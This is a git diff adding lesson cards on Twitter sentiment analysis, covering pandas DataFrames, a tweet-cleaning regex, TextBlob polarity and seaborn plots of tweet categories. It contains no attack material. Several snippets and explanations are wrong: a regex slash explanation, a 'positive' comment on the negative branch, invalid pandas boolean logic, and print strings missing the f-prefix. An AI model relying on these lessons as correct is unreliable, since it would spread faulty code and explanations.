+ "(@[A-Za-z0-9]+)|([^0-9A-Za-z\t])|(\w+:\/\/\S+)"
+```
+
+I know...very scary 💀.
+
+But don't be afraid! Lets go character by character and see what's going on here!
+
+However, it is important that you imagine the above Regular Expression as a machine that takes in tweets and "cleans"(i.e remove links,weird character's and twitter mentions/handles) them(I am foreshadowing the next card here).
+
+Lets start with "'`(@[A-Za-z0-9]+)`":
+
+* "( ... )" : Capture Group. You specify a Regular Expression inside the parenthesis and text that follows the Regular Expression rules is extracted/matched. Think of a Regular Expression as rule itself! It specifies what a type of string(either that you want to make or accept).
+* "@" : Each tweet that mentions or tags another user has this character at that start and the word/name afterwards.
+* "[A-Za-z0-9]" : This is what you call a character set. You are setting up a rule here that recognizes all capital and lower case alphabets and digits from 0-9.
+
+* "+" : This is a indicator that you want the preceding "token" or sub-rule to be recognized one or more times.
+* If we put it all together: we want to extract all the twitter handles from our given input tweet. Note that a mention ends when either we run into space after it or the end of the actual tweet - we mimic this behavior here as well.
+
+What does the "|" stand for? It stand for an "or" operator. We use it when we want to create multiple capture groups that all extract different things from the same input string(or tweet in this case).
+
+Okay, lets go on to "`([^0-9A-Za-z\t])`"
+
+* "^" : Stands for "not" or negation. We are making a rule that will extract the negation of the following character set.
+* "[0-9A-Za-z\t]" : Again, this stand for a character set that recognizes all capital and lower case alphabets and digits from 0-9. However, you'll notice that it also recognizes tabs (or \t which represent tabs).
+* If we put it all together: we want to extract all non-alphanumeric characters(with the expectation of tabs) from our tweets.
+
+Lets finish this with a `(\w+:\/\/\S+)`!
+
+* "\w" : Stands for an alphanumerical "word" or string(i.e anything that you would imagine being represented by regular characters).
+* ":" : This rule specifies that we want to recognize the colon character.
+* "+" : This is a indicator that you want the preceding "token" or sub-rule to be recognized one or more times.
+* "\/\/" : What is this thing!!! Well it makes a rule that we want to recognize double back slashes like '`\\`
+
+* \S: This rule specifies that we want to recognize **ALL** non-whitespace characters (e.g "!","A", " ").
+* If we put it all together: We want to extract all links from our tweet! As all links start in the format specified above- `word:\\another_word_with_no_whitespaces`
+
+Here is an example of it(the entire Regular Expression) actually recognizing all the things(the things highlighted in blue) we want to clear out of our tweets:
+
+
+
+***
+
+Check out the following website. It helps you make sense of Regular Expressions and lets you see how they work(It is also where we got the above image from): https://regexr.com/
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/2.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/2.md
new file mode 100644
index 00000000..4526213a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/2.md
@@ -0,0 +1,32 @@
+# Reviewing DataFrames
+
+Next let's review an integral component to your data science journey: DataFrames.
+
+DataFrames in essence are labelled two-dimensional arrays. Essentially DataFrames act as databases in Python, with defined column names and namable rows to store data.
+
+Here's an example of a DataFrame:
+
+```python
+import pandas as pd
+purchase_1 = pd.Series({'Name': 'Chris',
+ 'Item Purchased': 'Dog Food',
+ 'Cost': 22.50})
+purchase_2 = pd.Series({'Name': 'Kevyn',
+ 'Item Purchased': 'Kitty Litter',
+ 'Cost': 2.50})
+purchase_3 = pd.Series({'Name': 'Vinod',
+ 'Item Purchased': 'Bird Seed',
+ 'Cost': 5.00})
+df = pd.DataFrame([purchase_1, purchase_2, purchase_3], index=['Store 1', 'Store 1', 'Store 2'])
+```
+
+
+
+The DataFrame will look like this:
+
+| | Cost | Item Purchased | Name |
+| --------- | ---- | -------------- | ----- |
+| *Store 1* | 22.5 | Dog Food | Chris |
+| *Store 1* | 2.5 | Kitty Litter | Kevyn |
+| *Store 2* | 5.0 | Bird Seed | Vinod |
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/20.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/20.md
new file mode 100644
index 00000000..2391bbe6
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/20.md
@@ -0,0 +1,11 @@
+## Clean Tweet
+
+Now, we need to write a python function that removes hyperlinks and special characters. This function takes in a tweet and output a string. This function should fall under the class `TweetAnalyzer`. The Regular Expression should link familiar(check out the previous card if you need a refresher).
+
+```python
+def clean_tweet(self,tweet):
+ return ' '.join(re.sub("(@[A-Za-z0-9]+)|([^0-9A-Za-z\t])|(\w+:\/\/\S+)", " ", tweet).split())
+```
+
+Feel free to simply copy and paste. The block of code's function is to return the input tweet after removing all the special characters and links.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/21.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/21.md
new file mode 100644
index 00000000..1b60b2d8
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/21.md
@@ -0,0 +1,11 @@
+## Analyze Sentiment
+
+Now we will write another function that will analyze the tweet. Call this function `analyze_sentiment`. We will be using TextBlob to perform this action.
+
+In the function above, we feed in the "clean" tweet into TextBlob and Textblob will return either a positive or negative value. Positive being "good vibes" and negative being "bad vibes".
+
+```python
+def analyze_sentiment(self,tweet):
+ analysis = TextBlob(self.clean_tweet(tweet))
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/22.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/22.md
new file mode 100644
index 00000000..dc5dad82
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/22.md
@@ -0,0 +1,24 @@
+## Analyzing Polarity
+
+Going back to our `analyze_sentiment` function, `analysis` can return three types of values. If it returns a positive value, that means the sentiment about the tweet is positive. If it returns a negative value, that implies the tweet is negative. If it returns 0, we can not determine the sentiment of the tweet.
+
+`____.sentiment` is a function of `Textblob` that analyzes the sentiment.
+
+`___.sentiment.polarity` is a property of sentiment that returns the negative or positive value.
+
+Attach an `if/else` statement onto our `analyze_sentiment` function depending on the outcome. It should look similar to this:
+
+```python
+def analyze_sentiment(self,tweet):
+ analysis = TextBlob(self.clean_tweet(tweet)) #from previous part
+ if analysis.sentiment.polarity > 0:
+ return 1
+ # returns 1 when the sentiment is postive
+ elif analysis.sentiment.polarity == 0:
+ return 0
+ # if 0 is returned, we cannot determine the sentiment
+ else:
+ return -1
+ # if its not greater than zero or equal to zero, the sentiment must be positive.
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/23.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/23.md
new file mode 100644
index 00000000..289cc48b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/23.md
@@ -0,0 +1,14 @@
+## Add Sentiment to Our Data Frame
+
+Now that we've built our function that tells us the sentiment of the tweets, we can now integrate that data into our data frame. We will add the sentiments of each tweet as a new column in our data frame (and populate it with each tweet's respective sentiment).
+
+The following code should be added under `if __name__ == '__main__'`:
+
+
+```python
+df['sentiment'] = np.array([tweet_analyzer.analyze_sentiment(tweet) for tweet in df['tweets']])
+```
+
+You should see a new column in your data frame that looks like this:
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/24.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/24.md
new file mode 100644
index 00000000..5108de92
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/24.md
@@ -0,0 +1,38 @@
+## Result
+
+Now, print our data frame and the expected output should look like so:
+
+A column for each tweet:
+
+
+
+A column for the id for each tweet:
+
+
+
+
+
+A column for the length of each tweet:
+
+
+
+A column for the date each tweet was posted:
+
+
+
+A column for the source of each tweet(i.e the device/app the tweet was posted from):
+
+
+
+A column for the likes and retweets:
+
+
+
+And finally, a column for the sentiment for each tweet(this column looks familiar):
+
+
+
+And it should look like this when everything above is assembled:
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/3.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/3.md
new file mode 100644
index 00000000..2a1c819e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/3.md
@@ -0,0 +1,26 @@
+## Indexing DataFrames
+
+You can return just a series with the index *Store 1* by using `loc`: `df.loc['Store 1']`
+
+| | Cost | Item Purchased | Name |
+| --------- | ---- | -------------- | ----- |
+| *Store 1* | 22.5 | Dog Food | Chris |
+| *Store 1* | 2.5 | Kitty Litter | Kevyn |
+
+You can also get all the column values by indexing. Let's get all the items purchased: `df.loc['Item Purchased]`
+
+| | Item Purchased |
+| --------- | -------------- |
+| *Store 1* | Dog Food |
+| *Store 1* | Kitty Litter |
+| *Store 2* | Bird Seed |
+
+And if I want to find all items purchased from Store 1, I just have to add a column index: `df.loc['Store 1', 'Item Purchased'] `
+
+| | Item Purchased |
+| --------- | -------------- |
+| *Store 1* | Dog Food |
+| *Store 1* | Kitty Litter |
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/4.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/4.md
new file mode 100644
index 00000000..45f69854
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/4.md
@@ -0,0 +1,22 @@
+## Deleting Data
+
+There are two ways of deleting data from a DataFrame:
+
+1. `drop` - to delete rows
+
+ `df.drop('Store 1')` will return ***a copy*** of `df` without the rows associated with 'Store 1'. This is the default behavior for most data structures in Pandas - in-place changes do not occur on Pandas data structures. This method does not edit `df` itself!
+
+ | | Cost | Item Purchased | Name |
+ | --------- | ---- | -------------- | ----- |
+ | *Store 2* | 5.0 | Bird Seed | Vinod |
+
+2. `del` - to delete columns
+
+ You can directly delete a column from a DataFrame. `del df['Name']` will delete the Name column from `df`:
+
+ | | Cost | Item Purchased |
+ | --------- | ---- | -------------- |
+ | *Store 2* | 5.0 | Bird Seed |
+
+ The best practice is to **make a copy** of a DataFrame and test your changes before interacting with it directly.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/5.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/5.md
new file mode 100644
index 00000000..a9e5be10
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/5.md
@@ -0,0 +1,16 @@
+## Adding Data
+
+Adding a column to a DataFrame is super simple. Simply index a new column and assign it to an array value. If I want to add a location to each purchase, I make a new column `df['Location']` and assign it to an array of locations `['St. Louis', 'St. Louis', 'San Francisco']`:
+
+`df['Location'] = ['St. Louis', 'St. Louis', 'San Francisco']`
+
+Assuming I have the original `df` table, the new `df` will look like so:
+
+| | Cost | Item Purchased | Name | Location |
+| --------- | ---- | -------------- | ----- | ------------- |
+| *Store 1* | 22.5 | Dog Food | Chris | St. Louis |
+| *Store 1* | 2.5 | Kitty Litter | Kevyn | St. Louis |
+| *Store 2* | 5.0 | Bird Seed | Vinod | San Francisco |
+
+Try interacting with all of these functions in Jupyter before proceeding! You'll find that it's quite intuitive.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/6.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/6.md
new file mode 100644
index 00000000..e8e56e82
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/6.md
@@ -0,0 +1,3 @@
+## Looking up your dataframe
+
+It is as easy as just typing out the name of your dataframe in a print statement : `print(df)`
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/7.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/7.md
new file mode 100644
index 00000000..ab936297
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/7.md
@@ -0,0 +1,28 @@
+## Advanced DataFrame Operations
+
+### Grouping
+
+The `.describe()` method gives us nice summary statistics for each column of our data frame. This method gives you your favorite summary statistics for each column (i.e. mean, standard deviation, count, etc.).
+
+That's nice and all, but what happens if we want something a little more complex? Imagine we have a dataframe that represents info about different types of dogs and is aptly named "dogs".
+
+The `.groupby()` method allows you to group the data before computing these aggregate statistics. Let's take a look at this example.
+
+```python
+dogs.groupby("breed").mean()
+```
+
+What did this do? The dataframe was first grouped up by the column `"group"` , then the mean of the columns for each of the groups were calculated. Notice that they were grouped **BEFORE** the mean was calculated. Now we can get the mean of every column in the data frame for each breed. That's powerful!
+
+We can also group by multiple columns!
+
+```python
+dogs.groupby(["group", "size"]).mean()
+```
+
+This grouped *both* `"group"` and `"size"` before the summary statistics were calculated. Double powerful!
+
+
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/8.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/8.md
new file mode 100644
index 00000000..6aa4b048
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/8.md
@@ -0,0 +1,10 @@
+## Coming Back To Our Task (and why that's important)
+
+It was nice to actually learn more about the things we have been taking for granted for so long!
+
+
+
+However, now lets get back to what you have been waiting for: Sentiment Analysis!
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/9.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/9.md
new file mode 100644
index 00000000..71ec1d97
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/9.md
@@ -0,0 +1,29 @@
+## Sentiment Analysis
+
+We've used twitter's API to extract all kinds of data from tweets. Having proficiency over *Tweepy* will allow us to perform all kinds of tasks. One of example of such tasks is **sentiment analysis**. The goal of sentiments analysis is simple: to tell you if a piece of text has a negative or positive context.1
+
+A example of a "positive" tweet might be:
+
+
+
+Whereas a "negative" tweet be:
+
+
+
+
+
+But I know what you're thinking - why should I care! Well, big companies like Google and TripAdvisor harvest customer feedback and comments and use it to improve their businesses.2 If you know what your customer wants (and people really make that clear on social media), you can make the necessary adjustments on your end.
+
+
+
+Sentimental analysis can analyze the emotions in your surveys,comments and tweets and can give companies a good idea what their consumers are really thinking.
+
+For example, Regina tweeted about how spicy the hot sauce is from Halal Guys. The corporate of Halal Guys took the tweet as constructive criticism and had the marketing department discuss the improvements and/or adjustments that can be made which is then reflected into every store.
+
+***
+
+*Sources / Further Reading Section*
+
+1. https://en.wikipedia.org/wiki/Sentiment_analysis
+
+2. https://theappsolutions.com/blog/development/sentiment-analysis-for-business/
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/twitter5.png b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/twitter5.png
new file mode 100644
index 00000000..43333606
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/twitter5.png differ
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/.gitkeep b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/.gitkeep
similarity index 100%
rename from Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/.gitkeep
rename to Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/.gitkeep
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/1.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/1.md
new file mode 100644
index 00000000..40daad6b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/1.md
@@ -0,0 +1,45 @@
+
+
+
+
+# Gathering Data with a Tracklist
+
+
+
+In today's activity, we are going to retrieve raw Twitter data to create cool visualizations using the Twitter Streaming API. In the second activity "Stream Twitter API", you should have learned how to download tweet data using the Streaming API. From that activity, you should have created a tweet downloading script. (please reference Part 1 of Activity 2 before proceeding).
+
+You should already have your code look like this:
+
+```python
+class StdOutListener(StreamListener):
+ def on_data(self, data):
+ print(data)
+ return True
+ def on_error(self, status):
+ print(status)
+
+# Create tracklist with the words that will be searched for- pick your own!
+tracklist = []
+
+# Handles Twitter authentication and the connection to Twitter Streaming API
+if __name__ == '__main__':
+ l = StdOutListener()
+ auth = OAuthHandler(consumer_key, consumer_secret)
+ auth.set_access_token(access_token, access_token_secret)
+ stream = Stream(auth, l)
+ stream.filter(track=tracklist)
+```
+
+Please set your tracklist to a list of hashtags you want to process tweets for:
+
+```python
+tracklist = ['#HASHTAG1', '#HASHTAG2', '#HASHTAG3']
+```
+
+Once the script is ready, just like in Activity 2, run the script and pipe its output to a .txt file in this manner:
+
+**Twitter_Downloader.py > twitter_data.txt**
+
+Leave it running for a while, and that’s it, you have your tweets, ready to be analyzed!
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/10.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/10.md
new file mode 100644
index 00000000..7ef2c745
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/10.md
@@ -0,0 +1,9 @@
+# Data Analysis: Mentions But Not Retweets
+
+Now lets see the percentage of tweets that have **mentions but are not retweets**. Note that these *tweets* include the previous reply tweets. The tweets with mentions that are not replies or retweets are just tweets that include said mention somewhere in the middle of the text. Think of `~` as a not operator and the `&` as the and operator. So the expression `~tweets['text'].str.contains("RT")` is equivalent to saying: "get the tweet Data Frame's text column and only get those tweets who don't who aren't retweets(which are marked by an RT in the text)". A similar idea can be extended to `tweets['text'].str.contains("@")`
+
+```python
+ #See the percentage of tweets from the initial set that have #mentions and are not retweets:
+ mention_tweets = tweets[not tweets['text'].str.contains("RT") and tweets['text'].str.contains("@")]
+ print("The percentage of retweets is {round(len(mention_tweets)/len(tweets)*100)}% of all the tweets")
+```
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/11.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/11.md
new file mode 100644
index 00000000..cc3e2069
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/11.md
@@ -0,0 +1,11 @@
+# Data Analysis: Plain Text Tweets
+
+Lastly, lets see how many *tweets* are just **plain text *tweets***, with no mention or retweets. This is the same as the previous code with the only exception that we add another negation or not operator to the first expression and swapped around their places!
+
+```python
+# See how many tweets inside are plain text tweets (No RT or mention)
+plain_text_tweets = tweets[~tweets['text'].str.contains("@") & ~tweets['text'].str.contains("RT")]
+print("The percentage of retweets is {round(len(plain_text_tweets)/len(tweets)*100)}% of all the tweets")
+```
+
+With all of these percentage, we will now plot it and create a visualization. Continue to the next part of the activity to create the visualization.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/12.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/12.md
new file mode 100644
index 00000000..64061659
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/12.md
@@ -0,0 +1,42 @@
+# Data Visualization of Tweet Categories
+
+With all the percentages we got from the previous part of the activity, we will use them to create a visualization.
+
+First, let's make a plot out of all of these categories to better compare their proportions:
+
+We first prepare two lists (one containing all the number of the various types of tweets we want to display) and the other the names of each of the corresponding types. This is the acutal core data that we will be soon expressing in our graph.
+
+```python
+#Now we will plot all the different categories. Note that the reply #tweets are inside the mention tweets
+len_list = [ len(tweets), len(RT_tweets),len(mention_tweets), len(reply_tweets), len(plain_text_tweets)]
+item_list = ['All Tweets','Retweets', 'Mentions', 'Replies', 'Plain text tweets']
+```
+
+Here we set up our graph(giving it a size, grid layout, and title).
+
+```python
+plt.figure(figsize=(15,8))
+sns.set(style="darkgrid")
+plt.title('Tweet categories', fontsize = 20)
+```
+
+Finally, we label our axes and fill said axes with data!
+
+```python
+plt.xlabel('Type of tweet')
+plt.ylabel('Number of tweets')
+```
+
+We finally plot the graph and show it to the user!
+
+```python
+sns.barplot(x = item_list, y = len_list, edgecolor = 'black', linewidth=1)
+plt.show()
+```
+
+
+
+When running this piece of code in your Python file, you see a graph similar to this.
+
+
+
diff --git a/Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/7.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/13.md
similarity index 100%
rename from Module_Twitter_API/activities/Act8_Visualizing Twitter Trends/7.md
rename to Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/13.md
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/2.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/2.md
new file mode 100644
index 00000000..c5440b60
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/2.md
@@ -0,0 +1,25 @@
+# Importing Necessary Libraries
+
+Now that our data is collected, we will now prepare the data. **Create a new Python script/file before proceeding.**
+
+We'll start by importing the libraries that are needed for the analysis and visualization:
+
+```python
+# Import all the needed libraries
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+import json
+import seaborn as sns
+import re
+import collections
+from wordcloud import WordCloud
+```
+
+We have already went over `pandas`, `numpy`, `json`, `re`, and `wordcloud` in previous activities.
+
+Here is an explanation of the remaining three:
+
+* `matplotlib.pyplot` - A very important package that greatly simplifies producing **interactive plots in Python**.
+* `seaborn` - similar to Matplotlib, but helps generate more pretty visualizations
+* `collections` - allows for data to be stored in alternatives to your standard Pythonlists and sets
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/3.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/3.md
new file mode 100644
index 00000000..a62a7a05
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/3.md
@@ -0,0 +1,37 @@
+# Reading and Processing Data
+
+Then, we will read the data that we have collected and process it. Remember that the output of the Streaming API is a JSON object for each tweet, with many fields that can provide very useful information. In the following block of code, we read these tweets from the .txt file where they are stored. However, let's break it down so we can see what is exactly going on here!
+
+We setup a list to hold our tweet data and open the file where we have said tweet data. **Make sure you change your `tweets_data_path`** to the file name where you stored your tweets.
+
+```python
+if __name__ == '__main__':
+ # Reading the raw data collected from the Twitter Streaming API using Tweepy.
+ tweets_data = []
+ tweets_data_path = '' # change to your filename!
+ tweets_file = open(tweets_data_path, "r")
+```
+
+Next, we go through our file and add all the tweet data to our list. What the `try` block does is simple: it tests if we can do an action (in this case open and read a line in a file). If we cannot, we run the code in the `except` block (In this case, the `continue` keyword triggers the next line in the file).
+
+```python
+ for line in tweets_file:
+ try:
+ tweet = json.loads(line)
+ tweets_data.append(tweet)
+ except:
+ continue
+```
+
+After reading the .txt file above, run the following line of code. This line gets rid of all tweets that were corrupted due to connection issues or other errors.
+
+```python
+ #Error codes from the Twitter API can be inside the .txt document, #take them off
+ tweets_data = [x for x in tweets_data if not isinstance(x, int)]
+```
+
+Now, you can see how many *tweets* we have collected by inserting this line of code into your main function:
+
+```python
+ print("The total number of Tweets is:",len(tweets_data))
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/4.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/4.md
new file mode 100644
index 00000000..fdd90d15
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/4.md
@@ -0,0 +1,15 @@
+# Checking for Retweets
+
+Now that we have read in the .txt file and have our tweets in JSON format ready, we will implement some functions to map some of the parameters of these JSON objects to columns of a Pandas dataframe where we will store the *tweets* from now on.
+
+First, create a function that allows us to see if the selected *tweet* is a *retweet* or not. This is done in a by evaluating if the JSON object includes a field called ‘*retweeted status’* or not. If the tweet is not a retweet then the field 'retweeted_status' would never be in the JSON object corresponding to that tweet. If the tweet is a retweet, True is returned, otherwise it is False.
+
+```python
+#Create a function to see if the tweet is a retweet
+def is_RT(tweet):
+ if 'retweeted_status' not in tweet:
+ return False
+ else:
+ return True
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/5.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/5.md
new file mode 100644
index 00000000..373722ed
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/5.md
@@ -0,0 +1,12 @@
+# Evaluating if Tweets are Replies
+
+Now, we'll evaluate if the downloaded *tweets* are a reply to some other users' *tweets*. This is done similarly to the previous part but it also checks for the absence of certain fields within the JSON object by using the `not` operator. We will use the ‘*in_reply_to_screen_name*’ field, so that aside from seeing if the tweet is a response or not, we can see which user the *tweet* is responding to.
+
+```python
+def is_Reply_to(tweet):
+ if 'in_reply_to_screen_name' not in tweet:
+ return False
+ else:
+ return tweet['in_reply_to_screen_name']
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/6.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/6.md
new file mode 100644
index 00000000..e95eba9c
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/6.md
@@ -0,0 +1,36 @@
+Lastly, the tweet JSON object includes a ‘*source*’ field, which is kind of an identifier of the device or application from which the *tweet* was posted. Twitter does not provide an extensive guideline on how to map this source field to actual devices. However, we can connect two and two togethar and check what the source "column" has in and return the correct option. With that, create a function that can give us information to the different possible source information.
+
+In summary, if we tweet from ,say, an iPhone, our tweet gets this data attached to it(this is called "metadata"). We can then access this meta data via this function we made.
+
+```python
+# Returns the source of a given tweet.
+def tweet_device(tweet):
+ if 'iPhone' in tweet['source'] or ('iOS' in tweet['source']):
+ return 'iPhone'
+ elif 'Android' in tweet['source']:
+ return 'Android'
+ elif 'Mobile' in tweet['source'] or ('App' in tweet['source']):
+ return 'Mobile device'
+ elif 'Mac' in tweet['source']:
+ return 'Mac'
+ elif 'Windows' in tweet['source']:
+ return 'Windows'
+ elif 'Bot' in tweet['source']:
+ return 'Bot'
+ elif 'Web' in tweet['source']:
+ return 'Web'
+ elif 'Instagram' in tweet['source']:
+ return 'Instagram'
+ elif 'Blackberry' in tweet['source']:
+ return 'Blackberry'
+ elif 'iPad' in tweet['source']:
+ return 'iPad'
+ elif 'Foursquare' in tweet['source']:
+ return 'Foursquare'
+ else:
+ return '-'
+```
+
+
+
+Now that you have created all these functions, we are ready to pass our tweets into a DataFrame for easier processing.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/7.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/7.md
new file mode 100644
index 00000000..71110f17
--- /dev/null
